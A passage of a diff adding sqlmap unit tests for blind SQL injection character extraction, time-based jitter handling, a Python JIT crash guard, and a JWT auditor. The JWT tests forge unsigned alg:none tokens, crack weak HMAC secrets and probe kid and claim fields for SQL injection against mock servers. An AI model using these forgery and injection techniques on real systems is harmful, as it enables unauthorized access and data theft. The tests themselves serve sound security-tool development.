sequence - so a simple ord()-based mock oracle only models the + single-byte range; those are out of scope here.)""" + + def test_extracts_latin1_via_first_expansion(self): + for s in (u"caf\xe9", u"\xfcber", u"ni\xf1o", u"\xe9\xe8\xea\xeb"): + self.assertEqual(self._extract(s)[0], s, msg="expansion extraction failed for %r" % s) + + +class TestMysqlMultibyteExpansion(_EngineCase): + """Regression guard for the shiftTable expansion ceiling (getChar, inference.py ~671). + + MySQL's ORD() returns the byte-composite integer of a multibyte UTF-8 character (e.g. CJK + U+4E2D -> UTF-8 E4 B8 AD -> 0xE4B8AD = 14989485), and decodeIntToUnicode reconstructs the + character back from that integer. The gradual unicode expansion must therefore be able to + reach MySQL's full 3-byte ORD range (up to 0xEFBFBF = 15728575). A table whose ceiling + stops below that (as [2, 2, 3, 3, 3] did, ceiling 0xFFFFF = 1048575) silently truncates or + garbles every CJK and non-Latin >= U+0800 value on the most common DBMS - see issue #5171. + + Unlike TestUnicodeExpansion (which models a single-byte oracle via ord()), this oracle + models MySQL ORD() as the char's UTF-8 bytes read big-endian, exercising the real high + code-point path end to end.""" + + def _extract_ord(self, secret): + def mysql_ord(ch): + value = 0 + for octet in bytearray(ch.encode("utf-8")): + value = (value << 8) | octet + return value + + def oracle(payload=None, *args, **kwargs): + m = _PARSE.search(payload) + idx, op, threshold = int(m.group(1)), m.group(2), int(m.group(3)) + ch = mysql_ord(secret[idx - 1]) if 0 <= idx - 1 < len(secret) else 0 + return (ch > threshold) if op == ">" else (ch == threshold) + + Connect.queryPage = staticmethod(oracle) + inf.Request.queryPage = staticmethod(oracle) + td = getCurrentThreadData() + td.shared.value = "" + td.shared.index = [0] + td.shared.start = 0 + td.shared.count = 0 + count, value = inf.bisection(TEMPLATE, "SELECT secret", length=len(secret), charsetType=None) + return value, count + + def test_extracts_3byte_cjk(self): + # U+4E2D/U+6587 are CJK; each returned None (truncation) / '?' under the regressed ceiling + for s in (u"\u4e2d", u"\u4e2d\u6587", u"A\u4e2dZ", u"\u4e2d123"): + self.assertEqual(self._extract_ord(s)[0], s, msg="3-byte extraction failed for %r" % s) + + def test_extracts_near_max_3byte(self): + # U+FFFD -> UTF-8 EF BF BD -> ORD 0xEFBFBD, just under the 0xEFBFBF 3-byte ceiling + self.assertEqual(self._extract_ord(u"\ufffd")[0], u"\ufffd") + + def test_2byte_still_extracts(self): + # guard: raising the ceiling must not disturb the (unchanged) 2-byte path + self.assertEqual(self._extract_ord(u"caf\xe9")[0], u"caf\xe9") + + +class TestSearchIsLogarithmic(_EngineCase): + def test_query_count_is_sublinear_in_charset(self): + # GOAL: catch a regression from binary search to a linear/per-codepoint scan. + # Observed cost is ~6-22 queries/char (it varies: the first-char heuristic's benefit + # depends on ambient kb/conf state, so a tighter bound would flake). A linear scan of the + # 128-char ASCII space would be ~128/char (~3840 for 30 chars). Bound at 40/char cleanly + # separates "logarithmic" (passes) from "linearized" (fails) without being flaky. + secret = "x" * 30 + _, count = self._extract(secret) + self.assertLess(count, len(secret) * 40, + msg="bisection used %d queries for %d chars (~%.1f/char) - search regressed toward linear?" + % (count, len(secret), count / float(len(secret)))) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_jit_guard.py b/tests/test_jit_guard.py new file mode 100644 index 00000000000..6b71bc68fc1 --- /dev/null +++ b/tests/test_jit_guard.py @@ -0,0 +1,137 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The last branch of main()'s unhandled-exception chain in sqlmap.py: when the +experimental Python JIT is turned on, a crash gets the tier-2 advisory (Reference: +'https://github.com/python/cpython/issues/156319') instead of the automatic +issue-creation prompt - but the traceback is still printed, so a genuine sqlmap +bug is not swallowed. + +Driven through a subprocess because it is main()'s own except chain under test. +""" + +import os +import subprocess +import sys +import unittest + +ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + +# Forces a crash inside init(), i.e. the same place #6117 landed, without needing a target. +# NOTE: the injected fault must raise on Python 2 as well - 'a' < 128 does NOT (Python 2 orders +# mismatched types by type name and quietly returns a bool), which let a broken run reach the +# network on the PyPy-2.7 job instead of the exception handler under test. +# codeIsModified() is neutralized because its branch sits earlier in the chain and would +# otherwise win on any working tree with uncommitted edits (or a stale txt/checksum.md5). +DRIVER = """ +import sys +sys.path.insert(0, %r) +sys.argv = ["sqlmap.py", "-u", "http://127.0.0.1/?id=1", "--batch"] +import sqlmap +import lib.core.option +sqlmap.codeIsModified = lambda: False +lib.core.option.loadPayloads = lambda: iter([])() +sqlmap.main() +""" % ROOT + +ADVISORY = "experimental Python JIT compiler is turned on" +TRACEBACK = "TypeError" +PROMPT = "automatically create a new (anonymized) issue" + + +def _run(jit): + env = dict(os.environ) + env["PYTHON_JIT"] = jit + proc = subprocess.Popen([sys.executable, "-c", DRIVER], cwd=ROOT, env=env, + stdin=subprocess.PIPE, stdout=subprocess.PIPE, + stderr=subprocess.STDOUT) + out = proc.communicate(input=b"")[0] + return out.decode("utf-8", "replace") + + +def _jitEnabled(jit): + """Whether the guard in sqlmap.py would consider the JIT enabled (mirrors its condition).""" + code = ("import sys, os; print(sys._jit.is_enabled() if hasattr(sys, '_jit') " + "else (sys.version_info >= (3, 13) and os.environ.get('PYTHON_JIT') == '1'))") + env = dict(os.environ) + env["PYTHON_JIT"] = jit + return subprocess.check_output([sys.executable, "-c", code], env=env).strip() == b"True" + + +class TestJitGuard(unittest.TestCase): + def test_advisory_replaces_issue_prompt_but_keeps_traceback(self): + if not _jitEnabled('1'): + self.skipTest("interpreter does not report the JIT as enabled") + + out = _run('1') + self.assertIn(ADVISORY, out) + self.assertIn(TRACEBACK, out) # a real bug must still be visible in full + self.assertNotIn(PROMPT, out) # ... but not auto-filed while the JIT is on + + def test_normal_path_is_untouched_without_jit(self): + if _jitEnabled('0'): + self.skipTest("JIT stays enabled with PYTHON_JIT=0 on this build") + + out = _run('0') + self.assertNotIn(ADVISORY, out) + self.assertIn(TRACEBACK, out) + self.assertIn(PROMPT, out) + + +# Tool id 3 is unused by CPython's own well-known ids (DEBUGGER=0, COVERAGE=1, PROFILER=2, OPTIMIZER=5) +_TEST_TOOL_ID = 3 + +_MONITORING_DRIVER = """ +import sys +sys.path.insert(0, %r) +sys.monitoring.use_tool_id(%d, "test-tool") +sys.monitoring.set_events(%d, sys.monitoring.events.PY_START) +import sqlmap +print(sys.monitoring.get_tool(%d)) +print(sys.monitoring.get_events(%d)) +""" % (ROOT, _TEST_TOOL_ID, _TEST_TOOL_ID, _TEST_TOOL_ID, _TEST_TOOL_ID) + + +def _monitoringStateAfterImport(jit): + env = dict(os.environ) + env["PYTHON_JIT"] = jit + out = subprocess.check_output([sys.executable, "-c", _MONITORING_DRIVER], cwd=ROOT, env=env) + tool, events = out.decode("utf-8").strip().splitlines() + return tool, int(events) + + +class TestMonitoringGuard(unittest.TestCase): + """ + The other half of the cpython#156319 mitigation: the tier-2 corruption needs BOTH the JIT and + an active sys.monitoring tool (debugger/profiler/coverage) at once - neither alone triggers it. + So sqlmap only silences an already-registered tool's events when the JIT is also on, and leaves + it alone otherwise. A plain `coverage run sqlmap.py ...` (JIT off) must keep working - which is + exactly what broke CI the first time this guard shipped unconditionally. + """ + + def test_active_tool_is_silenced_when_jit_is_on(self): + if not hasattr(sys, "monitoring"): + self.skipTest("interpreter has no sys.monitoring (needs 3.12+)") + if not _jitEnabled('1'): + self.skipTest("interpreter does not report the JIT as enabled") + + tool, events = _monitoringStateAfterImport('1') + self.assertEqual(tool, "test-tool") # still registered - its own owner can still free it + self.assertEqual(events, 0) # but events cleared to NO_EVENTS + + def test_active_tool_is_left_alone_without_jit(self): + if not hasattr(sys, "monitoring"): + self.skipTest("interpreter has no sys.monitoring (needs 3.12+)") + if _jitEnabled('0'): + self.skipTest("JIT stays enabled with PYTHON_JIT=0 on this build") + + tool, events = _monitoringStateAfterImport('0') + self.assertEqual(tool, "test-tool") + self.assertNotEqual(events, 0) # untouched - e.g. a real `coverage run` must keep working + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_jitter_stress.py b/tests/test_jitter_stress.py new file mode 100644 index 00000000000..e5f494b9f05 --- /dev/null +++ b/tests/test_jitter_stress.py @@ -0,0 +1,289 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Adversarial JITTER stress harness for time-based blind extraction. + +Drives the REAL bisection() + REAL wasLastResponseDelayed() + REAL validateChar() re-validation +against a mock oracle that returns a simulated RESPONSE DURATION (base + jitter + timeSec-if-condition- +true) instead of a boolean - so the whole time-based decision stack runs under controlled network +jitter, with NO real sleeping (thousands of extractions per second, fully deterministic per seed). +The delimiter-wrapped template is what lets validateChar's per-char '!=' re-check actually fire (it is +sqlmap's main defense against a single spike faking one bit); without it the harness is far too harsh. + +Two tiers: + * TestJitterRegression - ALWAYS runs. Low/mild jitter MUST extract perfectly, and a spike in the + baseline model MUST NOT hide genuine delays. Deterministic, fast, non-flaky. + * TestJitterStressSweep - OPT-IN (set env SQLMAP_JITTER_STRESS=1). Adversarial sweeps (Gaussian + sigma, heavy-tailed spikes) mapping where extraction finally degrades. + Informational + loose bounds only; kept out of normal CI (slow/noisy). + +Run the sweep on demand: SQLMAP_JITTER_STRESS=1 python -m unittest tests.test_jitter_stress -v +""" + +import os +import random +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.common import getCurrentThreadData, setTechnique +from lib.core.datatype import AttribDict +from lib.core.enums import ADJUST_TIME_DELAY, CHARSET_TYPE, PAYLOAD +from lib.core.settings import MIN_TIME_RESPONSES, PAYLOAD_DELIMITER, TIME_STDEV_COEFF +from lib.request.connect import Connect +import lib.techniques.blind.inference as inf + +# The comparison must sit BETWEEN PAYLOAD_DELIMITERs: validateChar (inference.py) rewrites '>' to '!=' +# with a regex anchored on the delimiters, and without them that per-char re-validation silently +# no-ops (defeating sqlmap's main per-request-spike defense and making this harness far too pessimistic). +_TEMPLATE = "%sEXPR=%%s IDX=%%d CMP>%%d%s" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER) +_PARSE = re.compile(r"IDX=(\d+) CMP(!=|=|>)(\d+)") # bisection '>'/'=' plus validateChar's '!=' +_TIMESEC = 5.0 +_BASE = 0.10 # base (non-delay) round-trip latency, seconds +_QUERY_COST = 2.0 # what the injected subquery itself costs (e.g. COUNT(*) over a large table) +_STRESS = os.environ.get("SQLMAP_JITTER_STRESS") + + +def _timeVector(): + d = AttribDict() + d.payload = _TEMPLATE; d.where = 1; d.vector = _TEMPLATE + d.comment = ""; d.templatePayload = None; d.matchRatio = None + d.trueCode = None; d.falseCode = None + return d + + +class _JitterBase(unittest.TestCase): + _CONF = ("threads", "api", "verbose", "direct", "disableStats", "timeSec", + "hexConvert", "charset", "firstChar", "lastChar") + _KB = ("responseTimeMode", "responseTimePayload", "adjustTimeDelay", "laggingChecked", "partRun", + "safeCharEncode", "bruteMode", "fileReadMode", "disableShiftTable", "prependFlag", + "originalTimeDelay", "counters", "responseTimes") + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF} + self._saved_kb = {k: kb.get(k) for k in self._KB} + self._saved_inj = kb.injection.data + self._saved_qp = Connect.queryPage + self._saved_technique = getCurrentThreadData().technique + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + for k, v in self._saved_kb.items(): + kb[k] = v + kb.injection.data = self._saved_inj + Connect.queryPage = self._saved_qp + inf.Request.queryPage = self._saved_qp + setTechnique(self._saved_technique) # setTechnique() sets a thread-local; restore so it can't leak into other modules + + def _configure(self, baselineJitter, rng, nBaseline=30): + set_dbms("MySQL") + conf.threads = 1; conf.api = False; conf.verbose = 0; conf.direct = False + conf.disableStats = False; conf.timeSec = _TIMESEC + conf.hexConvert = False; conf.charset = None; conf.firstChar = None; conf.lastChar = None + kb.responseTimeMode = None + kb.responseTimePayload = None + kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE # never prompt / never mutate timeSec + kb.laggingChecked = True + kb.partRun = None; kb.safeCharEncode = False; kb.bruteMode = False + kb.fileReadMode = False; kb.disableShiftTable = False; kb.prependFlag = False + kb.originalTimeDelay = _TIMESEC; kb.counters = {} + kb.injection.data = {PAYLOAD.TECHNIQUE.TIME: _timeVector()} + setTechnique(PAYLOAD.TECHNIQUE.TIME) + # jitter is always ADDITIVE (network delays only slow a response, never speed it below base), + # so the baseline is right-skewed with a floor at base - like real kb.responseTimes, and with + # no fake point-mass at 0 that a clamp (max(0.0, ..)) would create and that would skew stats + kb.responseTimes = {None: [_BASE + abs(baselineJitter(rng)) for _ in range(nBaseline)]} + kb.data.processChar = None + + def _extract(self, secret, jitter, rng): + from lib.core.common import wasLastResponseDelayed + + def oracle(payload=None, timeBasedCompare=False, **kwargs): + td = getCurrentThreadData() + m = _PARSE.search(payload or "") + if not m: + td.lastQueryDuration = _BASE + abs(jitter(rng)) + return False + idx, op, thr = int(m.group(1)), m.group(2), int(m.group(3)) + ch = ord(secret[idx - 1]) if 0 <= idx - 1 < len(secret) else 0 + cond = (ch > thr) if op == ">" else (ch != thr) if op == "!=" else (ch == thr) + if "NOT(" in payload: + cond = not cond + td.lastQueryDuration = _BASE + abs(jitter(rng)) + (_TIMESEC if cond else 0.0) + return wasLastResponseDelayed() if timeBasedCompare else cond + + Connect.queryPage = staticmethod(oracle) + inf.Request.queryPage = staticmethod(oracle) # Note: staticmethod on BOTH (py2 makes a bare function an unbound method) + td = getCurrentThreadData() + td.shared.value = ""; td.shared.index = [0]; td.shared.start = 0; td.shared.count = 0 + _, value = inf.bisection(_TEMPLATE, "SELECT secret", length=len(secret), charsetType=None) + return value + + def _rate(self, secret, jitter, trials=40, seed0=1000): + ok = 0 + for t in range(trials): + rng = random.Random(seed0 + t) + self._configure(jitter, rng) + try: + ok += (self._extract(secret, jitter, rng) == secret) + except Exception: + pass + return ok, trials + + +def _gaussian(sigma): + return lambda rng: rng.gauss(0, sigma) + + +def _spike(sigma, p, mag): + def f(rng): + v = rng.gauss(0, sigma) + if rng.random() < p: + v += mag + return v + return f + + +class TestJitterRegression(_JitterBase): + """Always-on, deterministic, non-flaky: under low/mild jitter (7*sigma well below timeSec and no + heavy tail) the time-based stack MUST reconstruct the value exactly, every seed.""" + + SECRET = "Str0ng!" + + def test_no_jitter_is_perfect(self): + ok, n = self._rate(self.SECRET, _gaussian(0.0)) + self.assertEqual(ok, n, "time-based extraction must be flawless with zero jitter (%d/%d)" % (ok, n)) + + def test_mild_gaussian_is_perfect(self): + # sigma=0.3 -> false bits at base+|N(0,0.3)| (<~1s) stay well under the threshold, << timeSec=5 + ok, n = self._rate(self.SECRET, _gaussian(0.3)) + self.assertEqual(ok, n, "mild gaussian jitter must not corrupt extraction (%d/%d)" % (ok, n)) + + def test_baseline_spike_does_not_hide_a_genuine_delay(self): + # A single latency spike captured in the response-time model must not raise the delay + # threshold (avg + 7*stdev) so high that a real timeSec delay is missed. Deterministic. + from lib.core.common import wasLastResponseDelayed, average, stdev + from lib.core.settings import TIME_STDEV_COEFF + + set_dbms("MySQL") + conf.direct = False; conf.disableStats = False; conf.timeSec = _TIMESEC + kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE + kb.responseTimeMode = None + bulk = [0.15, 0.25] * 15 # clean model, small non-zero stdev + kb.responseTimes = {None: bulk + [8.0]} # one 8s spike poisons the baseline + td = getCurrentThreadData() + td.lastQueryDuration = _BASE + _TIMESEC # a genuine time-based delay (~5.1s) + + raw = kb.responseTimes[None] # the un-trimmed model WOULD miss it (fix is load-bearing) + self.assertLess(td.lastQueryDuration, average(raw) + TIME_STDEV_COEFF * stdev(raw)) + self.assertTrue(wasLastResponseDelayed()) # with spike-trimming the delay is recognized + + +class TestTimeModelSaturation(_JitterBase): + """Always-on: an expression whose own SQL is slower than the plain page must not saturate the + oracle. kb.responseTimeMode is only keyed for dump pagination, so elsewhere even a FALSE probe + lands above the threshold and the digit search runs off the top of the charset.""" + + SECRET = "309586433" + EXPRESSION = "SELECT LTRIM(STR(COUNT(*))) FROM Database.dbo.Final" # no ORDER BY -> mode stays None + + def _costAwareOracle(self, secret, jitter, rng): + from lib.core.common import wasLastResponseDelayed + + def oracle(payload=None, timeBasedCompare=False, **kwargs): + td = getCurrentThreadData() + + # like connect.py: the model is built by replaying kb.responseTimePayload, and only a + # false-payload replay carries the subquery cost (the bare original request does not) + if timeBasedCompare and not conf.disableStats: + if len(kb.responseTimes.get(kb.responseTimeMode, [])) < MIN_TIME_RESPONSES: + cost = _QUERY_COST if kb.responseTimePayload else 0.0 + kb.responseTimes.setdefault(kb.responseTimeMode, []) + while len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES: + kb.responseTimes[kb.responseTimeMode].append(_BASE + cost + abs(jitter(rng))) + + m = _PARSE.search(payload or "") + if not m: + td.lastQueryDuration = _BASE + abs(jitter(rng)) + return False + + idx, op, thr = int(m.group(1)), m.group(2), int(m.group(3)) + ch = ord(secret[idx - 1]) if 0 <= idx - 1 < len(secret) else 0 + cond = (ch > thr) if op == ">" else (ch != thr) if op == "!=" else (ch == thr) + if "NOT(" in payload: + cond = not cond + + # every probe pays the subquery cost, the injected sleep only when the condition holds + td.lastQueryDuration = _BASE + _QUERY_COST + abs(jitter(rng)) + (_TIMESEC if cond else 0.0) + return wasLastResponseDelayed() if timeBasedCompare else cond + + return oracle + + def test_saturated_model_is_recalibrated(self): + from lib.core.common import average, stdev + + rng = random.Random(1234) + jitter = _gaussian(0.05) # small but non-zero, so the stdev branch is the one used + self._configure(jitter, rng) + kb.responseTimes = {} # let the oracle calibrate, the way connect.py does + + oracle = self._costAwareOracle(self.SECRET, jitter, rng) + Connect.queryPage = staticmethod(oracle) + inf.Request.queryPage = staticmethod(oracle) + + td = getCurrentThreadData() + td.shared.value = ""; td.shared.index = [0]; td.shared.start = 0; td.shared.count = 0 + _, value = inf.bisection(_TEMPLATE, self.EXPRESSION, length=len(self.SECRET), charsetType=CHARSET_TYPE.DIGITS) + + cheap = kb.responseTimes[None] # against the bare-page model even a FALSE probe reads delayed + self.assertGreater(_BASE + _QUERY_COST, average(cheap) + TIME_STDEV_COEFF * stdev(cheap)) + + self.assertEqual(kb.responseTimeMode, self.EXPRESSION) # the walk-off re-keyed the model + self.assertEqual(value, self.SECRET) + + +@unittest.skipUnless(_STRESS, "adversarial jitter sweep is opt-in (set SQLMAP_JITTER_STRESS=1)") +class TestJitterStressSweep(_JitterBase): + """Opt-in failure-surface map. Prints correctness vs jitter and asserts only loose, non-flaky + invariants (clean case perfect). Use to evaluate hardening changes.""" + + SECRET = "Str0ng!" + + def test_gaussian_sweep(self): + # Continuous jitter: degrades only once sigma approaches timeSec/7 (7*stdev threshold nears the + # real delay). That is the FUNDAMENTAL limit of the statistic - the answer there is a larger + # timeSec (--time-sec), not a code change; shown here so a regression that degrades it earlier is visible. + print("\n[jitter] Gaussian sigma sweep (timeSec=%.0f, base=%.2f):" % (_TIMESEC, _BASE)) + for sigma in (0.0, 0.3, 0.5, 0.7, 0.9, 1.2): + ok, n = self._rate(self.SECRET, _gaussian(sigma)) + print(" sigma=%.2fs -> %d/%d (%3.0f%%)" % (sigma, ok, n, 100.0 * ok / n)) + if sigma == 0.0: + self.assertEqual(ok, n) + + def test_heavy_tailed_spike_sweep(self): + # One-off +8s spikes: baseline-trim (stripTimeOutliers) keeps the model clean and validateChar's + # '!=' re-check catches a spike that fakes a single bit, so extraction stays ~perfect until an + # absurd spike rate (a fifth of all requests). This is the payoff of both defenses together. + print("\n[jitter] Heavy-tailed spike sweep (base sigma=0.2, spike=+8s):") + for p in (0.0, 0.01, 0.03, 0.05, 0.10, 0.20): + ok, n = self._rate(self.SECRET, _spike(0.2, p, 8.0)) + print(" spike_p=%.2f -> %d/%d (%3.0f%%)" % (p, ok, n, 100.0 * ok / n)) + if p == 0.0: + self.assertEqual(ok, n) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() diff --git a/tests/test_jwt.py b/tests/test_jwt.py new file mode 100644 index 00000000000..b1ff857d045 --- /dev/null +++ b/tests/test_jwt.py @@ -0,0 +1,235 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline tests for the JWT auditor: the dependency-free codec/crypto helpers in lib/utils/jwt.py +(parse/forge/crack/audit/detect) and the active scan engine in lib/techniques/jwt/inject.py +(acceptance oracle, forgery confirmation, kid/claim SQL-injection probe). The engine is driven against +a mock server by monkeypatching the transport, so the whole feature is validated deterministically on +Python 2.7 / 3.x with no network. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.data import conf +from lib.core.enums import PLACE +from lib.utils.jwt import auditJWT +from lib.utils.jwt import crackHMAC +from lib.utils.jwt import encodeSegment +from lib.utils.jwt import findJWTs +from lib.utils.jwt import forgeJWT +from lib.utils.jwt import parseJWT +import lib.techniques.jwt.inject as inject + + +class JWTUtilsTest(unittest.TestCase): + def test_parse_roundtrip(self): + token = forgeJWT({"alg": "HS256", "typ": "JWT"}, {"user": "admin", "role": "user"}, key="secret") + data = parseJWT(token) + self.assertEqual(data["header"]["alg"], "HS256") + self.assertEqual(data["payload"]["user"], "admin") + + def test_parse_rejects_non_jwt(self): + for value in ("", "a.b", "a.b.c.d", "not.a.jwt", "eyJx.eyJx"): + self.assertIsNone(parseJWT(value)) + + def test_parse_rejects_non_string_alg(self): + # RFC 7515: "alg" MUST be a string; a crafted token with e.g. an integer "alg" must not parse + # (a permissive gate here would let a non-string "alg" reach auditJWT's alg.strip() and crash) + token = "%s.%s." % (encodeSegment({"alg": 123}), encodeSegment({})) + self.assertIsNone(parseJWT(token)) + + def test_forge_none_is_unsigned(self): + token = forgeJWT({"alg": "none"}, {"user": "admin"}) + self.assertTrue(token.endswith(".")) + self.assertEqual(parseJWT(token)["signature"], "") + + def test_crack_hmac_secret(self): + token = forgeJWT({"alg": "HS256"}, {"user": "admin"}, key="s3cr3t") + self.assertEqual(crackHMAC(token, ["a", "s3cr3t", "b"]), "s3cr3t") + self.assertIsNone(crackHMAC(token, ["a", "b"])) + self.assertIsNone(crackHMAC(token, ["s3cr3t"], limit=0)) # limit reached before the hit + + def test_crack_ignores_non_hmac(self): + self.assertIsNone(crackHMAC("eyJhbGciOiJSUzI1NiJ9.eyJ1IjoxfQ.AAAA", ["secret"])) + + def test_audit_flags(self): + ids = set(_[0] for _ in auditJWT(forgeJWT({"alg": "none"}, {"user": "admin"}))) + self.assertIn("alg-none", ids) + self.assertIn("no-expiry", ids) + + def test_audit_weak_secret_and_headers(self): + token = forgeJWT({"alg": "HS256", "kid": "1", "jku": "https://evil/x"}, {"user": "admin", "exp": 9999999999}, key="secret") + ids = set(_[0] for _ in auditJWT(token, secrets=["secret"])) + self.assertIn("weak-hmac-secret", ids) + self.assertIn("header-key-injection", ids) + self.assertIn("kid-injection", ids) + + def test_find_jwts_in_blob(self): + token = forgeJWT({"alg": "HS256"}, {"user": "admin"}, key="secret") + blob = "session=abc; auth=%s; theme=dark" % token + self.assertEqual(findJWTs(blob), [token]) + self.assertEqual(findJWTs("no tokens here"), []) + + +class _MockServer(object): + """A trivial JWT-consuming endpoint. `verify` decides how strict it is; `sink` optionally reflects + a component (kid / a claim) into a fake SQL error, modelling an injectable key/claim lookup.""" + + OK = "welcome back, admin. secret area." + DENY = "access denied. please log in." + NOROW = "no matching record found." + SQLERR = "SQL syntax error near unclosed quotation mark" + + def __init__(self, secret=None, acceptNone=False, verifySig=True, sink=None, alwaysError=False, dynamic=False): + self.secret = secret + self.acceptNone = acceptNone + self.verifySig = verifySig + self.sink = sink # ("kid",)/("claim", name) string quote-sink, or ("numclaim", name) numeric sink + self.alwaysError = alwaysError # H2: page ALWAYS carries SQL-error text (must not be read as injection) + self.dynamic = dynamic # H3: response changes every hit (must not yield a boolean verdict) + self._tick = 0 + + def _wrap(self, page): + if self.dynamic: + self._tick += 1 + return "%s" % (page, self._tick) + return page + + def respond(self, token): + if self.alwaysError: + return self._wrap(self.SQLERR) + + data = parseJWT(token) + if not data: + return self._wrap(self.DENY) + + if self.sink is not None: + reflected = data["header"].get("kid") if self.sink[0] == "kid" else (data["payload"].get(self.sink[1]) if isinstance(data["payload"], dict) else None) + reflected = "" if reflected is None else str(reflected) + if self.sink[0] in ("claim", "kid") and reflected.count("'") % 2 == 1: + return self._wrap(self.SQLERR) # unbalanced quote -> string-context SQL error + if self.sink[0] == "numclaim": + if "'" in reflected: + return self._wrap(self.SQLERR) # quote in a numeric concat -> error + m = re.match(r"^\d+ AND (\d+)=(\d+)$", reflected) + if m: + return self._wrap(self.OK if m.group(1) == m.group(2) else self.NOROW) # AND n=n true, n=n+1 false + + alg = (data["header"].get("alg") or "").lower() + if alg == "none": + return self._wrap(self.OK if self.acceptNone else self.DENY) + if not self.verifySig: + return self._wrap(self.OK) + if self.secret and forgeJWT(data["header"], data["payload"], key=self.secret) == token: + return self._wrap(self.OK) + return self._wrap(self.DENY) + + +class JWTEngineTest(unittest.TestCase): + def setUp(self): + self._origGetPage = inject.Request.getPage + self._origParams = conf.parameters + self._origSecrets = inject._wordlistSecrets + conf.skipUrlEncode = False + conf.delay = 0 + conf.beep = False + # keep the offline crack fast: the full 6 MB wordlist sweep is exercised by the utils tests; here + # only the small common set is needed (a crackable token uses 'secret', which is in it) + from lib.core.settings import JWT_COMMON_SECRETS + inject._wordlistSecrets = lambda: iter(JWT_COMMON_SECRETS) + + def tearDown(self): + inject.Request.getPage = self._origGetPage + conf.parameters = self._origParams + inject._wordlistSecrets = self._origSecrets + inject._TOKEN = inject._PLACE = inject._HEADER = inject._HEADER_VALUE = None + + def _wire(self, token, server): + conf.parameters = {PLACE.GET: "auth=%s" % token} + + def fakeGetPage(**kwargs): + raw = kwargs.get("get") or kwargs.get("post") or kwargs.get("cookie") or "" + if kwargs.get("auxHeaders"): + raw = list(kwargs["auxHeaders"].values())[0] + found = findJWTs(raw) + return (server.respond(found[0] if found else raw), None, 200) + + inject.Request.getPage = staticmethod(fakeGetPage) + + def _run(self, token, server): + self._wire(token, server) + return dict((_[0], _) for _ in inject.jwtScan()) + + def test_oracle_confirms_alg_none(self): + # the server knows its real secret (so the original token is the authenticated baseline) but that + # secret is not in sqlmap's crack list; its flaw is accepting an unsigned alg:none forgery + token = forgeJWT({"alg": "HS256"}, {"user": "admin", "exp": 9999999999}, key="topsecret-not-in-list") + findings = self._run(token, _MockServer(secret="topsecret-not-in-list", acceptNone=True)) + self.assertIn("alg-none-accepted", findings) + self.assertEqual(findings["alg-none-accepted"][1], "critical") + + def test_oracle_confirms_signature_not_verified(self): + token = forgeJWT({"alg": "HS256"}, {"user": "admin", "exp": 9999999999}, key="topsecret-not-in-list") + findings = self._run(token, _MockServer(verifySig=False)) + self.assertIn("signature-not-verified", findings) + + def test_strict_server_yields_no_forgery(self): + token = forgeJWT({"alg": "HS256"}, {"user": "admin", "exp": 9999999999}, key="topsecret-not-in-list") + findings = self._run(token, _MockServer(secret="topsecret-not-in-list")) + self.assertNotIn("alg-none-accepted", findings) + self.assertNotIn("signature-not-verified", findings) + + def test_weak_secret_cracked_offline(self): + token = forgeJWT({"alg": "HS256"}, {"user": "admin", "exp": 9999999999}, key="secret") + findings = self._run(token, _MockServer(secret="secret")) + self.assertIn("weak-hmac-secret", findings) + + def test_kid_sql_injection(self): + token = forgeJWT({"alg": "none", "kid": "key1"}, {"user": "admin", "exp": 9999999999}) + findings = self._run(token, _MockServer(acceptNone=True, sink=("kid",))) + self.assertIn("kid-injection-confirmed", findings) + self.assertEqual(findings["kid-injection-confirmed"][1], "critical") + + def test_claim_sql_injection_via_alg_none(self): + token = forgeJWT({"alg": "none"}, {"user": "admin", "exp": 9999999999}) + findings = self._run(token, _MockServer(acceptNone=True, sink=("claim", "user"))) + self.assertIn("claim-injection-confirmed", findings) + + def test_numeric_claim_sql_injection(self): + # M4: a numeric claim (id) string-interpolated into SQL - detected in an unquoted 'AND n=n' context + token = forgeJWT({"alg": "none"}, {"user": "admin", "id": 5, "exp": 9999999999}) + findings = self._run(token, _MockServer(acceptNone=True, sink=("numclaim", "id"))) + self.assertIn("claim-injection-confirmed", findings) + + def test_error_based_no_fp_when_baseline_has_sql_error(self): + # H2: a page that ALWAYS contains SQL-error text must NOT be reported as an injection + token = forgeJWT({"alg": "none", "kid": "k"}, {"user": "admin", "exp": 9999999999}) + findings = self._run(token, _MockServer(acceptNone=True, alwaysError=True)) + self.assertNotIn("kid-injection-confirmed", findings) + self.assertNotIn("claim-injection-confirmed", findings) + + def test_boolean_no_fp_on_dynamic_page(self): + # H3: a response that changes every hit must not yield a boolean SQL-injection verdict + token = forgeJWT({"alg": "none", "kid": "k"}, {"user": "admin", "exp": 9999999999}) + findings = self._run(token, _MockServer(acceptNone=True, dynamic=True)) + self.assertNotIn("kid-injection-confirmed", findings) + self.assertNotIn("claim-injection-confirmed", findings) + + def test_no_token_is_graceful(self): + conf.parameters = {PLACE.GET: "q=hello"} + inject.Request.getPage = staticmethod(lambda **kwargs: ("x", None, 200)) + self.assertEqual(inject.jwtScan(), None) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_kbchars.py b/tests/test_kbchars.py new file mode 100644 index 00000000000..d9606f0604b --- 